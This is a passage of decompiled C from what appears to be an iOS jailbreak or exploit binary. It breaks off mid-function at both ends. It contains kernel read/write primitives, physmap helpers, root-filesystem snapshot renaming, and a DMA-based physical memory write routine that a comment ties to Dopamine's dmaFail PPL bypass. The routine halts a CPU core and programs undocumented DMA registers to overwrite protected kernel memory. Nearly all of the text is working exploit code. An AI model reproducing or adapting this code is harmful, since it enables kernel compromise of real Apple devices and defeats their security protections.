          *((uint8_t *)v10 + (unsigned int)(*(uint32_t *)(a2 + 8) + 1)) = 0;
        }
        v12 = *(void **)(a2 + 24);
        if ( v12 )
        {
          v4 = *(unsigned int *)(a2 + 16);
          if ( (uint32_t)v4 )
          {
            v13 = (unsigned int)(*(uint32_t *)(a2 + 12) + *(uint32_t *)(a2 + 8));
            v14 = (int (__cdecl *)(const void *, const void *))nullsub_1(memcmp20);
            qsort(v12, v4, v13, v14);
            return 0;
          }
        }
      }
    }
  }
  return v4;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000222F0) ----------------------------------------------------
__int64 __fastcall read_kaddr_via_chunk_offset(__int64 a1, __int64 a2)
{
  __int64 v2; // x19
  __int64 v4; // x2
  unsigned __int64 v6; // x22
  __int64 v7; // x9
  __int64 v8; // x8

  v2 = 708609;
  if ( a2 )
  {
    v4 = *(uint64_t *)(a2 + 24);
    if ( v4 )
    {
      if ( *(uint64_t *)a2 )
      {
        v2 = 163856;
        v6 = *(uint64_t *)(a1 + 344) >> 43;
        v7 = 48;
        if ( v6 > 0x44A )
          v7 = 64;
        if ( (unsigned int)kwrite_with_retry(
                             a1,
                             v7 + *(uint64_t *)a2,
                             v4,
                             (unsigned int)((*(uint32_t *)(a2 + 12) + *(uint32_t *)(a2 + 8)) * *(uint32_t *)(a2 + 16))) )
        {
          v8 = 44;
          if ( v6 > 0x44A )
            v8 = 60;
          if ( noppl_kwrite32(a1, *(uint64_t *)a2 + v8, *(uint32_t *)(a2 + 16)) )
            return 0;
          else
            return 163856;
        }
      }
    }
  }
  return v2;
}

//----- (00000000000223A4) ----------------------------------------------------
bool __fastcall physmap_entry_check(__int64 a1, unsigned int a2, int a3, __int64 a4)
{
  int v7; // w22
  uint64_t *v8; // x21
  __int64 v9; // x24
  __int64 v10; // x23
  int v11; // w0
  int v13[2]; // [xsp+8h] [xbp-38h] BYREF

  *(uint64_t *)v13 = 0;
  if ( a3 == 20 )
  {
    v7 = validate_physmap_range_5(a1, (vm_size_t **)v13);
    if ( !v7 )
    {
      v8 = *(uint64_t **)v13;
      if ( a2 )
      {
        v9 = 0;
        v10 = 20LL * a2;
        while ( 1 )
        {
          v11 = lookup_and_copy_krw_chunk(0, (__int64)v8, (void *)(a4 + ((unsigned int)v9 & 0xFFFFFFFC)), 0x14u);
          if ( v11 )
            break;
          v9 += 20;
          if ( v10 == v9 )
            goto LABEL_7;
        }
      }
      else
      {
LABEL_7:
        v11 = read_kaddr_via_chunk_offset(a1, (__int64)v8);
      }
      v7 = v11;
      free_entry_struct(v11, v8);
    }
  }
  else
  {
    v7 = 708609;
  }
  return v7 == 0;
}

//----- (0000000000022464) ----------------------------------------------------
bool __fastcall physmap_single_check(__int64 a1, __int64 a2, int a3)
{
  return physmap_entry_check(a1, 1u, a3, a2);
}

//----- (0000000000022470) ----------------------------------------------------
__int64 __fastcall memcmp20(__int64 a1, __int64 a2)
{
  __int64 v2; // x8
  unsigned int v3; // w9
  unsigned int v4; // w10

  v2 = 0LL;
  while ( 1 )
  {
    v3 = *(unsigned __int8 *)(a1 + v2);
    v4 = *(unsigned __int8 *)(a2 + v2);
    if ( v3 < v4 )
      return 0xFFFFFFFFLL;
    if ( v3 > v4 )
      break;
    if ( ++v2 == 20 )
      return 0LL;
  }
  return 1LL;
}

//----- (00000000000224AC) ----------------------------------------------------
__int64 __fastcall krw_lookup_via_ctx_field32(__int64 a1, unsigned int a2)
{
  return task_self_get_ipc_port(*(struct_krwCtx **)(a1 + 32), a2);
}

//----- (00000000000224B4) ----------------------------------------------------
unsigned __int64 __fastcall get_task_kobject_addr_from_field32(__int64 a1, unsigned int a2)
{
  return get_task_kobject_addr(*(struct_krwCtx **)(a1 + 32), a2);
}

//----- (00000000000224BC) ----------------------------------------------------
__int64 __fastcall get_iodevicetree_chosen_data(char **a1, unsigned int a2)
{
  io_registry_entry_t v4; // w0
  io_registry_entry_t v5; // w20
  const struct __CFString *v6; // x0
  const struct __CFString *v7; // x22
  CFTypeRef CFProperty; // x0
  const void *v9; // x23
  CFTypeID TypeID; // x24
  CFIndex Length; // x24
  const UInt8 *BytePtr; // x0
  uint8_t *v13; // x8
  int v14; // t1
  char *v15; // x0
  __int64 v16; // x19
  char __str[16]; // [xsp+10h] [xbp-350h] BYREF
  __int128 v19; // [xsp+20h] [xbp-340h]
  __int128 v20; // [xsp+30h] [xbp-330h]
  __int128 v21; // [xsp+40h] [xbp-320h]
  __int128 v22; // [xsp+50h] [xbp-310h]
  __int128 v23; // [xsp+60h] [xbp-300h]
  __int128 v24; // [xsp+70h] [xbp-2F0h]
  __int128 v25; // [xsp+80h] [xbp-2E0h]
  __int128 v26; // [xsp+90h] [xbp-2D0h]
  __int128 v27; // [xsp+A0h] [xbp-2C0h]
  __int128 v28; // [xsp+B0h] [xbp-2B0h]
  __int128 v29; // [xsp+C0h] [xbp-2A0h]
  __int128 v30; // [xsp+D0h] [xbp-290h]
  __int128 v31; // [xsp+E0h] [xbp-280h]
  __int128 v32; // [xsp+F0h] [xbp-270h]
  __int128 v33; // [xsp+100h] [xbp-260h]
  __int128 v34; // [xsp+110h] [xbp-250h]
  __int128 v35; // [xsp+120h] [xbp-240h]
  __int128 v36; // [xsp+130h] [xbp-230h]
  __int128 v37; // [xsp+140h] [xbp-220h]
  __int128 v38; // [xsp+150h] [xbp-210h]
  __int128 v39; // [xsp+160h] [xbp-200h]
  __int128 v40; // [xsp+170h] [xbp-1F0h]
  __int128 v41; // [xsp+180h] [xbp-1E0h]
  __int128 v42; // [xsp+190h] [xbp-1D0h]
  __int128 v43; // [xsp+1A0h] [xbp-1C0h]
  __int128 v44; // [xsp+1B0h] [xbp-1B0h]
  __int128 v45; // [xsp+1C0h] [xbp-1A0h]
  __int128 v46; // [xsp+1D0h] [xbp-190h]
  __int128 v47; // [xsp+1E0h] [xbp-180h]
  __int128 v48; // [xsp+1F0h] [xbp-170h]
  __int128 v49; // [xsp+200h] [xbp-160h]
  __int128 v50[16]; // [xsp+210h] [xbp-150h] BYREF

  memset(v50, 0, sizeof(v50));
  v48 = 0u;
  v49 = 0u;
  v46 = 0u;
  v47 = 0u;
  v44 = 0u;
  v45 = 0u;
  v42 = 0u;
  v43 = 0u;
  v40 = 0u;
  v41 = 0u;
  v38 = 0u;
  v39 = 0u;
  v36 = 0u;
  v37 = 0u;
  v34 = 0u;
  v35 = 0u;
  v32 = 0u;
  v33 = 0u;
  v30 = 0u;
  v31 = 0u;
  v28 = 0u;
  v29 = 0u;
  v26 = 0u;
  v27 = 0u;
  v24 = 0u;
  v25 = 0u;
  v22 = 0u;
  v23 = 0u;
  v20 = 0u;
  v21 = 0u;
  *(__int128 *)__str = 0u;
  v19 = 0u;
  v4 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen");
  if ( !v4 )
    return 0;
  v5 = v4;
  v6 = CFStringCreateWithCString(kCFAllocatorDefault, "boot-manifest-hash", 0x8000100u);
  if ( v6 )
  {
    v7 = v6;
    CFProperty = IORegistryEntryCreateCFProperty(v5, v6, kCFAllocatorDefault, 0);
    if ( CFProperty )
    {
      v9 = CFProperty;
      TypeID = CFDataGetTypeID();
      if ( TypeID != CFGetTypeID(v9) )
        goto LABEL_12;
      Length = CFDataGetLength((CFDataRef)v9);
      BytePtr = CFDataGetBytePtr((CFDataRef)v9);
      if ( (unsigned __int64)(Length - 1) > 0x7E )
        goto LABEL_12;
      v13 = v50;
      do
      {
        v14 = *BytePtr++;
        *v13 = a0123456789abcd[(unsigned __int8)(v14 ^ a2) >> 4];
        v13[1] = a0123456789abcd[(v14 ^ a2) & 0xFLL];
        v13 += 2;
        LODWORD(Length) = Length - 1;
      }
      while ( (uint32_t)Length );
      snprintf(__str, 0x200u, "com.apple.os.update-%s", (const char *)v50);
      v15 = strdup(__str);
      if ( v15 )
      {
        *a1 = v15;
        v16 = 1;
      }
      else
      {
LABEL_12:
        v16 = 0;
      }
      CFRelease(v9);
    }
    else
    {
      v16 = 0;
    }
    CFRelease(v7);
  }
  else
  {
    v16 = 0;
  }
  IOObjectRelease(v5);
  return v16;
}

//----- (00000000000226D4) ----------------------------------------------------
__int64 check_necp_kread_available()
{
  __int64 result; // x0

  result = fs_snapshot(255, 0, 0, 0, 0, 0);
  if ( (uint32_t)result )
    return errno != 1;
  return result;
}

//----- (0000000000022718) ----------------------------------------------------
__int64 __fastcall open_and_kread_ptr_data(const char *a1, uint64_t *a2, unsigned int *a3)
{
  __int64 v6; // x23
  __int64 v7; // x0
  __int64 v8; // x19
  char *v9; // x21
  unsigned int v10; // w0
  unsigned int v11; // w23
  void *v12; // x0
  unsigned __int64 v13; // x24
  const char *v14; // x25
  __int128 v16; // [xsp+0h] [xbp-60h] BYREF
  __int64 v17; // [xsp+10h] [xbp-50h]

  v16 = xmmword_43478;
  v17 = 0;
  *a3 = 0;
  v6 = 0;
  if ( getattrlist_check_file(a1) )
  {
    v7 = open(a1, 0x100000, v16, v17);
    if ( (v7 & 0x80000000) != 0 )
    {
      return 0;
    }
    else
    {
      v8 = v7;
      v9 = (char *)calloc(0x1000u, 1u);
      if ( v9
        && (v10 = getattrlistbulk(v8, (__int64)&v16, (__int64)v9, 4096, 64), (v10 & 0x80000000) == 0)
        && (v11 = v10, *a3 = v10, v12 = calloc(v10, 8u), (*a2 = v12) != 0) )
      {
        if ( v11 )
        {
          v13 = 0;
          v14 = v9;
          do
          {
            if ( (v14[4] & 1) != 0 )
            {
              *(uint64_t *)(*a2 + 8 * v13) = calloc(*((unsigned int *)v14 + 7), 1u);
              strcpy(*(char **)(*a2 + 8 * v13), v14 + 32);
              v11 = *a3;
            }
            else
            {
              *(uint64_t *)(*a2 + 8 * v13) = 0;
            }
            v14 += *(unsigned int *)v14;
            ++v13;
          }
          while ( v13 < v11 );
        }
        v6 = 1;
      }
      else
      {
        v6 = 0;
      }
      if ( (int)v8 >= 1 )
        close(v8);
      if ( v9 )
        free(v9);
    }
  }
  return v6;
}
// 43478: using guessed type __int128 xmmword_43478;

//----- (0000000000022878) ----------------------------------------------------
bool __fastcall getattrlist_check_file(const char *a1)
{
  int v1; // w0
  __int128 v3[5]; // [xsp+0h] [xbp-70h] BYREF
  uint64_t v4[3]; // [xsp+58h] [xbp-18h] BYREF

  v4[0] = 5;
  v4[1] = 2147614720LL;
  v4[2] = 0;
  memset(v3, 0, 76);
  v1 = getattrlist(a1, v4, v3, 0x4Cu, 0x20u);
  return (v1 | DWORD2(v3[0]) & 0x20000) != 0;
}

//----- (00000000000228E4) ----------------------------------------------------
__int64 __fastcall check_and_copy_file_paths(const char *a1, const char *a2, char a3)
{
  __int64 v6; // x19
  unsigned __int64 v7; // x26
  const char **v8; // x27
  char *v9; // x22
  unsigned __int64 v10; // x23
  int v12; // w8
  int v13; // w25
  __int64 v14; // x20
  __int64 v15; // x22
  const char **v16; // x21
  bool v17; // zf
  void **v18; // x23
  void *v19; // t1
  char *v21; // x23
  const char *v22; // x24
  char *v23; // [xsp+0h] [xbp-70h] BYREF
  char *__s2; // [xsp+8h] [xbp-68h] BYREF
  unsigned int v25; // [xsp+14h] [xbp-5Ch] BYREF
  const char **v26; // [xsp+18h] [xbp-58h] BYREF

  v26 = 0;
  v25 = 0;
  v23 = 0;
  __s2 = 0;
  if ( (unsigned int)get_iodevicetree_chosen_data(&__s2, 0)
    && (unsigned int)get_iodevicetree_chosen_data(&v23, 0x41u)
    && (unsigned int)open_and_kread_ptr_data(a1, &v26, &v25) )
  {
    v6 = open(a1, 0x100000);
    if ( (v6 & 0x80000000) != 0 )
    {
      v14 = 0;
    }
    else
    {
      v7 = v25;
      if ( v25 )
      {
        v8 = v26;
        v9 = __s2;
        if ( !strcmp(*v26, __s2) )
        {
          v12 = 0;
          v13 = 1;
        }
        else
        {
          v10 = 1;
          while ( v7 != v10 )
          {
            if ( !strcmp(v8[v10++], v9) )
            {
              v12 = 0;
              v13 = v10 - 1 < v7;
              goto LABEL_39;
            }
          }
          v13 = v10 < v7;
          v21 = v23;
          while ( 1 )
          {
            v22 = *v8;
            if ( !strcmp(*v8, v21) )
              goto LABEL_37;
            if ( a2 && !strcmp(v22, a2) )
              break;
            ++v8;
            if ( !--v7 )
              goto LABEL_28;
          }
          if ( (a3 & 1) != 0 )
          {
LABEL_37:
            v12 = fs_snapshot(3, v6, (__int64)v22, (__int64)v9, 0, 0) == 0;
            goto LABEL_39;
          }
          v12 = 1;
        }
      }
      else
      {
        v13 = 0;
LABEL_28:
        v12 = 0;
      }
LABEL_39:
      v14 = v13 | (unsigned int)v12;
    }
  }
  else
  {
    v14 = 0;
    LODWORD(v6) = -1;
  }
  v15 = v25;
  v16 = v26;
  if ( v25 )
    v17 = v26 == 0;
  else
    v17 = 1;
  if ( !v17 )
  {
    v18 = (void **)v26;
    do
    {
      v19 = *v18++;
      free(v19);
      --v15;
    }
    while ( v15 );
    free(v16);
  }
  if ( __s2 )
    free(__s2);
  if ( v23 )
    free(v23);
  if ( (int)v6 >= 1 )
    close(v6);
  return v14;
}

//----- (0000000000022ADC) ----------------------------------------------------
__int64 __fastcall enumerate_file_paths(const char *a1, const char *a2)
{
  __int64 v4; // x19
  __int64 v5; // x23
  const char **v6; // x24
  char *v7; // x21
  __int64 v8; // x25
  const char **v9; // x26
  const char *v10; // x22
  char *v11; // x20
  const char *v12; // x22
  int v13; // w9
  int v14; // w8
  __int64 v15; // x20
  __int64 v16; // x22
  void *v17; // x21
  bool v18; // zf
  void **v19; // x23
  int v21; // w0
  char *__s2; // [xsp+0h] [xbp-60h] BYREF
  char *v23; // [xsp+8h] [xbp-58h] BYREF
  unsigned int v24; // [xsp+14h] [xbp-4Ch] BYREF
  void *v25; // [xsp+18h] [xbp-48h] BYREF

  v25 = 0;
  v24 = 0;
  __s2 = 0;
  v23 = 0;
  if ( (unsigned int)get_iodevicetree_chosen_data(&v23, 0)
    && (unsigned int)get_iodevicetree_chosen_data(&__s2, 0x41u)
    && (unsigned int)open_and_kread_ptr_data(a1, &v25, &v24) )
  {
    v4 = open(a1, 0x100000);
    if ( (v4 & 0x80000000) != 0 )
    {
      v15 = 0;
    }
    else
    {
      v5 = v24;
      if ( v24 )
      {
        v6 = (const char **)v25;
        v7 = __s2;
        v8 = v24;
        v9 = (const char **)v25;
        do
        {
          v10 = *v9;
          if ( *v9 && (!strcmp(*v9, v7) || a2 && !strcmp(v10, a2)) )
          {
            v14 = 0;
            v13 = 1;
            goto LABEL_37;
          }
          ++v9;
          --v8;
        }
        while ( v8 );
        v11 = v23;
        while ( 1 )
        {
          v12 = *v6;
          if ( *v6 )
          {
            if ( !strcmp(*v6, v11) )
              break;
          }
          ++v6;
          if ( !--v5 )
            goto LABEL_16;
        }
        v21 = fs_snapshot(3, v4, (__int64)v12, (__int64)v7, 0, 0);
        v13 = 0;
        v14 = v21 == 0;
      }
      else
      {
LABEL_16:
        v13 = 0;
        v14 = 0;
      }
LABEL_37:
      v15 = v13 | (unsigned int)v14;
    }
  }
  else
  {
    v15 = 0;
    LODWORD(v4) = -1;
  }
  v16 = v24;
  v17 = v25;
  if ( v24 )
    v18 = v25 == 0;
  else
    v18 = 1;
  if ( !v18 )
  {
    v19 = (void **)v25;
    do
    {
      if ( *v19 )
        free(*v19);
      ++v19;
      --v16;
    }
    while ( v16 );
    free(v17);
  }
  if ( (int)v4 >= 1 )
    close(v4);
  if ( v23 )
    free(v23);
  if ( __s2 )
    free(__s2);
  return v15;
}

//----- (0000000000022CA8) ----------------------------------------------------
bool __fastcall check_root_fs_mounted(bool *a1)
{
  uint64_t result; // x0
  int v3; // w8
  char v5[2]; // [xsp+Eh] [xbp-892h] BYREF
  struct statfs v6; // [xsp+10h] [xbp-890h] BYREF

  strcpy(v5, "/");
  bzero(&v6, 0x878u);
  result = getattrlist_check_file(v5);
  if ( result )
  {
    if ( statfs(v5, &v6) )
      return 1;
    v3 = HIBYTE(v6.f_fsid.val[0]) << 24;
    result = v3 != 0x1000000;
    if ( v3 != 0x1000000 && a1 != 0 )
    {
      *a1 = strchr(v6.f_mntfromname, 64) == 0;
      return 1;
    }
  }
  return result;
}

// dmaFail cluster: this maps to Dopamine's dmaFail.c DMA-backed PPL physical write path.
//----- (0000000000022D6C) ----------------------------------------------------
__int64 __fastcall dmaFail_physwrite32(struct_krwCtx *a1, __int64 a2, int a3)
{
  __int64 v6; // x23, dmaFail MMIO register base
  char v7; // w25, physical page shift
  __int64 v8; // x28, Dopamine gDMAMask
  __int64 v9; // x20
  __int64 v10; // x24
  __int64 *v11; // x1
  __int64 v12; // x27
  __int64 v13; // x26
  __int64 v14; // x23
  __int64 v15; // x24
  unsigned __int64 v16; // x0
  __int64 v17; // x9
  unsigned __int64 v18; // x8
  int v19; // w25
  __int64 v20; // x8
  __int64 v21; // x28
  __int64 v22; // x8
  __int64 v23; // x8
  unsigned __int16 v24; // w28
  const __int16 *v25; // x9
  __int64 i; // x10
  __int64 v27; // x8
  unsigned __int16 v28; // w25
  const __int16 *v29; // x9
  __int64 j; // x10
  int v31; // w8
  int v32; // w12
  char v33; // w9
  unsigned int v34; // w9
  unsigned int v35; // w10
  unsigned int v36; // w10
  int v37; // w21
  __int64 v39; // [xsp+18h] [xbp-228h]
  volatile uint64_t *v40; // [xsp+20h] [xbp-220h]
  __int64 v41; // [xsp+28h] [xbp-218h]
  __int64 v42; // [xsp+30h] [xbp-210h]
  __int64 v43; // [xsp+40h] [xbp-200h]
  __int64 v44; // [xsp+48h] [xbp-1F8h]
  int has_flag; // [xsp+60h] [xbp-1E0h]
  int v46; // [xsp+64h] [xbp-1DCh]
  unsigned __int64 v47; // [xsp+68h] [xbp-1D8h]
  __int128 v48[4]; // [xsp+70h] [xbp-1D0h] BYREF
  __int64 v49[7]; // [xsp+B0h] [xbp-190h] BYREF
  uint64_t v50[7]; // [xsp+E8h] [xbp-158h] BYREF
  __int128 __s2; // [xsp+120h] [xbp-120h] BYREF
  __int128 v52; // [xsp+130h] [xbp-110h]
  __int128 v53; // [xsp+140h] [xbp-100h]
  __int128 v54; // [xsp+150h] [xbp-F0h]
  __int128 v55[2]; // [xsp+160h] [xbp-E0h] BYREF
  __int128 v56[2]; // [xsp+180h] [xbp-C0h]
  __int128 __s1[4]; // [xsp+1A0h] [xbp-A0h] BYREF
  uint64_t currentLine[8];
  uint64_t previousLine[8];
  uint64_t desiredLine[8];

  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_DMA_ALT_MASK) )
    v6 = DMAFAIL_DMA_REG_BASE_ALT;
  else
    v6 = DMAFAIL_DMA_REG_BASE_LEGACY;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_DMA_ALT_MASK) )
    v7 = 15;
  else
    v7 = DMAFAIL_PHYS_PAGE_SHIFT;
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A16) )
  {
    v8 = DMAFAIL_DMA_MASK_A16;
  }
  else if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_DMA_ALT_MASK) )
  {
    v8 = DMAFAIL_DMA_MASK_ALT;
  }
  else
  {
    v8 = DMAFAIL_DMA_MASK_LEGACY;
  }
  v9 = 708642;
  if ( (unsigned int)dmaFail_set_power_state((__int64)a1, 1) )
  {
    v10 = dmaFail_gfx_power_init(a1);
    if ( (uint32_t)v10 )
    {
LABEL_85:
      release_write_semaphore_lock((__int64)a1, 4u);
      return v10;
    }
    if ( (unsigned int)physmap_map_cached(a1, v6 | DMAFAIL_DMA_CTRL_MAP_OFFSET, (__int64)v49) )
    {
      v10 = 708642;
      goto LABEL_85;
    }
    if ( (unsigned int)physmap_map_cached(a1, v6 | DMAFAIL_DMA_DATA_MAP_OFFSET, (__int64)v50) )
    {
      v11 = v49;
LABEL_84:
      physmap_unmap_cached((__int64)a1, (__int64)v11);
      v10 = v9;
      goto LABEL_85;
    }
    if ( !dmaFail_map_dbgwrap(a1, v6, v48) )
    {
LABEL_83:
      physmap_unmap_cached((__int64)a1, (__int64)v49);
      v11 = v50;
      goto LABEL_84;
    }
    v12 = v49[0];
    v13 = v50[0];
    v42 = *(volatile uint64_t *)(v49[0] + DMAFAIL_DMA_CTRL_STATUS_OFFSET);
    v14 = *(volatile uint64_t *)(v50[0] + DMAFAIL_DMA_ADDR_OFFSET);
    v15 = *(volatile uint64_t *)(v50[0] + DMAFAIL_DMA_DATA_OFFSET);
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
    {
      v39 = *(volatile uint64_t *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET);
      v40 = (volatile uint64_t *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET);
      *(volatile uint64_t *)(v50[0] + DMAFAIL_DMA_A15_A16_BACKUP_OFFSET) = 1;
    }
    else
    {
      v39 = 0;
      v40 = 0;
    }
    v16 = dmaFail_phystokv_cached((__int64)a1, a2 & ~(uint64_t)DMAFAIL_CACHE_LINE_MASK);
    if ( v16 )
    {
      v47 = v42 | DMAFAIL_DMA_CTRL_RESTORE_MASK;
      v17 = ((-1 << v7) & DMAFAIL_DMA_ADDR_TTE_KEEP_BIT ^ DMAFAIL_DMA_ADDR_TTE_LOW_MASK) & (unsigned int)v16 | DMAFAIL_DMA_ADDR_VALID;
      v41 = (v16 >> DMAFAIL_DMA_A15_ADDR_HASH_SHIFT) & DMAFAIL_DMA_A15_ADDR_HASH_MASK;
      v18 = v16 >> v7;
      v19 = 0;
      v20 = v18 & v8;
      v21 = a2 & DMAFAIL_CACHE_LINE_MASK;
      v43 = v20 << DMAFAIL_PHYS_UPPER_SHIFT;
      v44 = v17;
      while ( 1 )
      {
        if ( !(unsigned int)krw_read_thunk(a1, a2 & ~(uint64_t)DMAFAIL_CACHE_LINE_MASK, DMAFAIL_CACHE_LINE_SIZE, currentLine) )
        {
LABEL_72:
          v37 = 0;
          goto LABEL_76;
        }
        if ( v19 )
        {
          if ( !memcmp(previousLine, currentLine, DMAFAIL_CACHE_LINE_SIZE) )
            goto LABEL_30;
          if ( !memcmp(currentLine, desiredLine, DMAFAIL_CACHE_LINE_SIZE) || *(uint32_t *)((char *)currentLine + v21) == a3 )
          {
            v37 = 0;
            v9 = 0;
            goto LABEL_76;
          }
        }
        memcpy(previousLine, currentLine, DMAFAIL_CACHE_LINE_SIZE);
        memcpy(desiredLine, currentLine, DMAFAIL_CACHE_LINE_SIZE);
        *(uint32_t *)((char *)desiredLine + v21) = a3;
LABEL_30:
        if ( !(unsigned int)dmaFail_dbgwrap_halt_cpu(a1, (__int64)v48) )
          goto LABEL_72;
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) |= DMAFAIL_DMA_CTRL_BUSY_BITS;
        while ( (~*(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 )
          semaphore_timedwait_ns((__int64)a1, 0x64u);
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_ENABLE_OFFSET) &= ~DMAFAIL_DMA_ENABLE_BIT;
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v47;
        while ( (*(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 )
          semaphore_timedwait_ns((__int64)a1, 0x64u);
        v22 = 0;
        *(volatile uint64_t *)(v13 + DMAFAIL_DMA_ADDR_OFFSET) = v44;
        do
        {
          *(volatile uint64_t *)(v13 + DMAFAIL_DMA_DATA_OFFSET) = *(uint64_t *)((char *)desiredLine + v22);
          v22 += 8;
        }
        while ( v22 != DMAFAIL_CACHE_LINE_SIZE );
        v23 = 0;
        v24 = 0;
        v25 = dmaFail_sbox;
        do
        {
          for ( i = 0; i != 32; ++i )
          {
            if ( ((((uint32_t *)desiredLine)[v23] >> i) & 1) != 0 )
              v24 ^= v25[i];
          }
          ++v23;
          v25 += 32;
        }
        while ( v23 != 8 );
        v46 = v19;
        v27 = 0;
        v28 = 0;
        v29 = dmaFail_sbox;
        do
        {
          for ( j = 0; j != 32; ++j )
          {
            if ( ((((uint32_t *)desiredLine)[v27 + 8] >> j) & 1) != 0 )
              v28 ^= v29[j];
          }
          ++v27;
          v29 += 32;
        }
        while ( v27 != 8 );
        has_flag = krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_MASK);
        if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A14_A15_DMA_ALT_MASK) && (v31 = v41 | v24 & DMAFAIL_DMA_HASH1_A15_A16_KEEP_MASK, v31 != v24) )
        {
          v34 = 10;
          v32 = has_flag;
          do
          {
            v35 = (unsigned __int16)(v31 ^ v24) ^ ((unsigned __int16)(v31 ^ v24) >> 8);
            v36 = v35 ^ (v35 >> 4) ^ ((v35 ^ (v35 >> 4)) >> 2);
            if ( ((v36 ^ (v36 >> 1)) & 1) == 0 )
              break;
            v31 ^= 1 << --v34;
          }
          while ( v34 > 5 );
        }
        else
        {
          LOWORD(v31) = v24;
          v32 = has_flag;
        }
        v33 = DMAFAIL_DMA_HASH1_INDEX_LEGACY;
        if ( !v32 )
          v33 = DMAFAIL_DMA_HASH1_INDEX_A15_A16;
        *(volatile uint64_t *)(v13 + DMAFAIL_DMA_DATA_OFFSET) = v43 & DMAFAIL_DMA_TARGET_UPPER_MASK
                              | ((unsigned __int64)v28 << DMAFAIL_DMA_HASH2_SHIFT)
                              | ((unsigned __int64)(unsigned __int16)v31 << v33)
                              | 0x1F;
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) |= DMAFAIL_DMA_CTRL_BUSY_BITS;
        while ( (~*(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 )
          semaphore_timedwait_ns((__int64)a1, 0x64u);
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_ENABLE_OFFSET) |= DMAFAIL_DMA_ENABLE_BIT;
        v21 = a2 & DMAFAIL_CACHE_LINE_MASK;
        if ( !(unsigned int)krw_read_thunk(a1, a2, 4, (char *)currentLine + v21) )
          goto LABEL_74;
        if ( *(uint32_t *)((char *)currentLine + (a2 & DMAFAIL_CACHE_LINE_MASK)) == a3 )
        {
          v9 = 0;
LABEL_74:
          v37 = 1;
          goto LABEL_76;
        }
        *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v47;
        while ( (*(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) & DMAFAIL_DMA_CTRL_BUSY_BITS) != 0 )
          semaphore_timedwait_ns((__int64)a1, 0x64u);
        if ( (dmaFail_dbgwrap_unhalt_cpu(a1, (__int64)v48) & 1) == 0 )
          goto LABEL_74;
        v19 = v46 + 1;
        if ( v46 == 15 )
          goto LABEL_72;
      }
    }
    v37 = 0;
LABEL_76:
    if ( v42 && *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) != v42 )
      *(volatile uint64_t *)(v12 + DMAFAIL_DMA_CTRL_STATUS_OFFSET) &= v42 | DMAFAIL_DMA_CTRL_RESTORE_MASK;
    *(volatile uint64_t *)(v13 + DMAFAIL_DMA_ADDR_OFFSET) = v14;
    *(volatile uint64_t *)(v13 + DMAFAIL_DMA_DATA_OFFSET) = v15;
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A15_A16_MASK) )
    {
      *v40 = v39;
      if ( (v37 & 1) == 0 )
      {
LABEL_82:
        physmap_unmap_cached((__int64)a1, (__int64)v48);
        goto LABEL_83;
      }
    }
    else if ( !v37 )
    {
      goto LABEL_82;
    }
    dmaFail_dbgwrap_unhalt_cpu(a1, (__int64)v48);
    goto LABEL_82;
  }
  return v9;
}
// 43490: using guessed type __int16 dmaFail_sbox[3];

//----- (0000000000023348) ----------------------------------------------------
__int64 __fastcall dmaFail_set_power_state(__int64 a1, int a2)
{
  __int64 v3; // x8
  __int64 v4; // x20
  uint64_t v5; // x8

  if ( a2 )
  {
    v3 = *(uint64_t *)(a1 + 280);
    if ( v3 )
    {
      if ( *(uint64_t *)(a1 + 288) )
      {
        v4 = *(uint64_t *)(v3 + 336);
        if ( v4 )
        {
          v5 = (mach_absolute_time() - v4) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608);
          if ( v5 <= 0x1312CFF )
            semaphore_timedwait_ns(a1, 1000 * (20 - (unsigned int)v5 / 0xF4240));
        }
      }
    }
    if ( (unsigned int)acquire_write_semaphore_lock(a1, 4u, 0x3E8u) )
      return 0;
    if ( *(uint64_t *)(a1 + 280) )
    {
      if ( *(uint64_t *)(a1 + 288) )
        *(uint64_t *)(*(uint64_t *)(a1 + 280) + 336LL) = mach_absolute_time();
    }
  }
  else
  {
    release_write_semaphore_lock(a1, 4u);
  }
  return 1;
}

//----- (0000000000023424) ----------------------------------------------------
__int64 __fastcall dmaFail_gfx_power_init(struct_krwCtx *a1)
{
  uint32_t numer; // s8
  uint32_t denom; // s9
  unsigned __int64 paddr; // x21
  uint64_t start; // x20
  int command; // w21
  __int64 regOffset; // x22
  __int64 mapResult; // x0
  uint64_t deadline; // x20
  uint64_t v16[7]; // [xsp+8h] [xbp-70h] BYREF
  struct mach_timebase_info info; // [xsp+38h] [xbp-38h] BYREF

  memset(&info, 0, sizeof(info));
  mach_timebase_info(&info);
  numer = info.numer;
  denom = info.denom;
  start = mach_absolute_time();

  paddr = 0x23B080000LL;
